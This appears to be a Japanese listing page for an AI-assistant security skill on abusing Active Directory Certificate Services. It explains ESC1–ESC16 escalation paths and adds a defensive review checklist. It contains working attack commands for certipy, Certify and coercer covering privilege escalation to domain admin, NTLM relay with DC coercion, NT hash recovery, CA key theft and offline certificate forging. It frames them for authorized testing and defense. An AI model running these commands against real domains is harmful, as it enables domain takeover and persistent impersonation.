abusing-adcs について
AD CS の設定を評価する、認可された Active Directory テスト担当者や防御担当者向けのセキュリティスキルです。証明書による権限昇格の経路に加え、列挙、永続化リスク、防御レビューを扱います。
主な機能
- 01脆弱な証明書テンプレートの列挙
- 02ESC の昇格・リレー経路の整理
- 03証明書マッピングとバインドの評価
- 04証明書による永続化リスクの説明
- 05PKI 防御策のレビュー
活用シーン
- 01CA とテンプレート設定の監査
- 02認可されたテストで証明書昇格を検証
- 03パスワードリセット後の証明書残存リスク評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill abusing-adcsインストール後、Claude Code で/abusing-adcsを入力して読み込まれたか確認します。
詳細
AD CS の悪用
Active Directory ドメイン内の証明機関(CA)は、通常、一般ユーザーからドメイン管理者へ至る最短経路です。証明書テンプレートはアクセス許可オブジェクトですが、ほとんど誰も監査していないためです。登録者が独自のサブジェクト名を指定できるテンプレートが1つあるだけで、ドメイン全体が侵害されます。こうした設定は、あるべき姿よりも多くのネットワークでデフォルトになっています。
許可を得てテストするドメインのみを対象にしてください。
使用する場合
- ドメインに CA がある(
pKIEnrollmentServiceオブジェクトが存在する) certipy findまたは BloodHound が脆弱なテンプレートを報告している- ドメインの認証情報を何らかの形で持っており、権限昇格の経路が必要
- パスワードのリセット後も維持される、永続的なドメイン内の足がかりが必要
- 防御目的で PKI の設定を確認する
使用しない場合
- 一般的な AD 攻撃(Kerberoasting、DCSync、ラテラルムーブメント)—
attacking-active-directoryを使用してください - 委任の悪用 —
attacking-kerberos-delegationを使用してください - Entra ID/クラウド PKI —
attacking-entra-idを使用してください - これらの攻撃の検知 —
engineering-detectionsを使用してください。証明書要求イベント(4886/4887)が主なテレメトリーです
まず列挙する
# Certipy — the standard tool; run this before anything else
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound
# From Windows
Certify.exe find /vulnerable
Certify.exe cas # CA hosts, flags, and enrollment endpoints
certipy find -vulnerable は ESC 番号を直接表示するため、最初に実行するコマンドです。出力で、登録できるユーザー、要求者がサブジェクトを指定できるかどうか、存在する EKU、マネージャーの承認が必要かどうかを確認してください。
権限昇格の経路
設定ミスの種類ごとにまとめています。修正方法と検知方法が異なるためです。
テンプレートの設定ミス — よくあるケース
| ID | 条件 | 結果 |
|---|---|---|
| ESC1 | 登録者がサブジェクトを指定できる(ENROLLEE_SUPPLIES_SUBJECT)+クライアント認証 EKU+低権限ユーザーが登録可能+承認不要 | ドメイン管理者を含む任意のユーザーとして証明書を要求できる |
| ESC2 | Any Purpose EKU(または EKU なし)+低権限ユーザーが登録可能 | クライアント認証に使える証明書を取得できる。結果は ESC1 と同じ |
| ESC3 | Certificate Request Agent EKU | 他のユーザーに代わって登録できる |
| ESC9 | CT_FLAG_NO_SECURITY_EXTENSION が設定されている | 証明書に SID バインディングが含まれず、弱いマッピングを悪用できる |
| ESC15 | 登録者がサブジェクトを指定でき、アプリケーションポリシーを挿入できる v1 テンプレート | アプリケーションポリシーを使ったクライアント認証により、EKU の制限を回避できる |
# ESC1 — the canonical path
certipy req -u [email protected] -p 'Password' -dc-ip 10.0.0.10 \
-ca 'CORP-CA' -template 'VulnTemplate' -upn '[email protected]'
# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash
アクセス制御の設定ミス
| ID | 条件 | 結果 |
|---|---|---|
| ESC4 | テンプレートオブジェクトへの書き込み権限がある | ESC1 テンプレートに再設定して使用し、その後元に戻す |
| ESC5 | PKI オブジェクト、CA のコンピューターオブジェクト、またはコンテナーへの書き込み権限がある | CA の制御を含むさまざまな操作が可能 |
| ESC7 | CA に対する ManageCA または ManageCertificates の権限がある | ESC6 を有効にする、または保留中の自分の要求を承認する |
# ESC4 — make it vulnerable, use it, put it back
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json
テンプレートの復元は必須です。 テンプレートを脆弱な状態のまま放置することは、クライアントのセキュリティ態勢を実際に変えてしまいます。事前に知らせずに行えば、問題があるのは相手ではなくあなたです。最初に -save-old を実行し、すぐに復元して、両方の操作をタイムスタンプ付きで記録してください。
CA の設定ミス
| ID | 条件 | 結果 |
|---|---|---|
| ESC6 | CA で EDITF_ATTRIBUTESUBJECTALTNAME2 が有効になっている | どのテンプレートでもサブジェクトを指定できる |
| ESC16 | CA 全体でセキュリティ拡張が無効になっている | 発行されるすべての証明書に SID バインディングが含まれない |
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags
リレー経路
| ID | 条件 | 結果 |
|---|---|---|
| ESC8 | Web 登録(/certsrv)に到達可能で、EPA/HTTPS バインディングがない | NTLM を登録サービスにリレーし、リレーしたマシンの証明書を取得する |
| ESC11 | パケット整合性のない ICertPassage RPC | HTTP ではなく RPC 経由でリレーする |
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10 # → DC machine account → DCSync
証明書のマッピング
| ID | 条件 | 結果 |
|---|---|---|
| ESC10 | 証明書マッピングのレジストリ値が弱い | UPN または altSecurityIdentities を使ってなりすます |
| ESC13 | グループにリンクされた発行ポリシーを持つテンプレート | 証明書によってそのグループのメンバーシップが付与される |
| ESC14 | altSecurityIdentities への書き込みアクセス | 証明書を標的アカウントにマッピングする |
証明書の強固なバインドによって状況は変わります。 2022 年 5 月の更新プログラム(KB5014754)以降、ドメインコントローラーは証明書に SID セキュリティ拡張が含まれていることを必須にできます。また、StrongCertificateBindingEnforcement によって適用の厳格さが決まります。完全適用されているドメインでは、ESC9、ESC10、Certifried(CVE-2022-26923)は機能しなくなりますが、ESC1、ESC4、ESC6、ESC8 は引き続き機能します。悪用可能な経路として報告する前に、適用レベルを確認してください。
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement
永続化
証明書は AD で利用できる最も持続性の高い永続化手段です。そのため、レポートで取り上げることが重要です。
- ユーザー証明書は、パスワードをリセットしても有効期限まで有効です。侵害されたアカウントをリセットしても、攻撃者は排除されません。
- CA の秘密鍵を盗むこと(
THEFT2/ゴールデン証明書)で、あらゆるプリンシパルの証明書をオフラインで無期限に偽造できます。これから復旧するには PKI の再発行が必要です。 - 対処法は失効のみですが、ほとんどの環境では CRL を速やかに確認しないか、まったく確認しません。
# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u [email protected] -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn [email protected]
報告時には、これを明確に記載してください。「パスワードのリセットでは修復できません。発行済みの証明書を失効させる必要があります」という一文が、クライアントの対応計画を変えるのです。
防御的レビュー
エンゲージメントが攻撃ではなく設定レビューの場合は、次の点を確認してください。
- 登録者がサブジェクトを指定できるテンプレートはどれで、誰が登録できますか?
Domain UsersまたはAuthenticated Usersが利用できるクライアント認証 EKU または Any-Purpose EKU を持つテンプレートはどれですか?- 機密性の高いテンプレートで、マネージャーの承認が必要ですか?
EDITF_ATTRIBUTESUBJECTALTNAME2はどこかで設定されていますか?- Web 登録が公開されていて、EPA を使用した HTTPS が強制されていますか?
StrongCertificateBindingEnforcementは完全適用されていますか?ManageCAとManageCertificatesを持つのは誰ですか?- 証明書の発行は監視されていますか(イベント 4886、4887、4899、4900)?
退けるべき言い訳
- 「テンプレートにはマネージャーの承認が必要なので、安全です。」 ESC7 を確認してください。
ManageCertificatesを持つユーザーは、自分の要求を承認できます。 - 「登録できるのは Domain Admins だけです。」 名前ではなく ACL を確認してください。グループは入れ子になっており、
Authenticated Usersは予想以上によく含まれています。 - 「Certifried にはパッチを適用しました。」 それで閉じるのは 1 つの経路だけです。ESC1 と ESC8 は設定の問題であり、パッチでは修正できません。
- 「侵害されたアカウントのパスワードはリセットしました。」 証明書は引き続き有効です。失効させてください。
- 「内部 CA なので、深刻度は低いです。」 ドメイン認証証明書を発行する内部 CA は、ドメイン管理者と同等の権限を持ちます。
- 「BloodHound には表示されませんでした。」 証明書に対応したコレクターを使って収集してください。古い収集データには ADCS のエッジがまったくありません。
- 「テンプレートを変更したままにしておきます。そちらのほうが簡単です。」 いけません。
ATT&CK の対象範囲
secskills-core/ttp-index.json から生成されています。編集後に python3 scripts/sync_attack.py --write を実行してください。レポートに記載する前に、現在の ATT&CK リリースに照らして ID を再確認してください。
認証情報へのアクセス(TA0006)
- T1649 認証証明書の窃取または偽造 —
attacking-active-directoryも参照してください
これらに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。
参考資料
attacking-active-directory— ドメインに対するより広範な攻撃経路attacking-kerberos-delegation— AD で効果の高いもう 1 つの権限昇格手法engineering-detections— 証明書の発行とテンプレート変更のテレメトリーreporting-security-findings— 失効要件の伝え方- Certipy、Certify、PKIAudit、BloodHound(ADCS エッジ)、Coercer、PetitPotam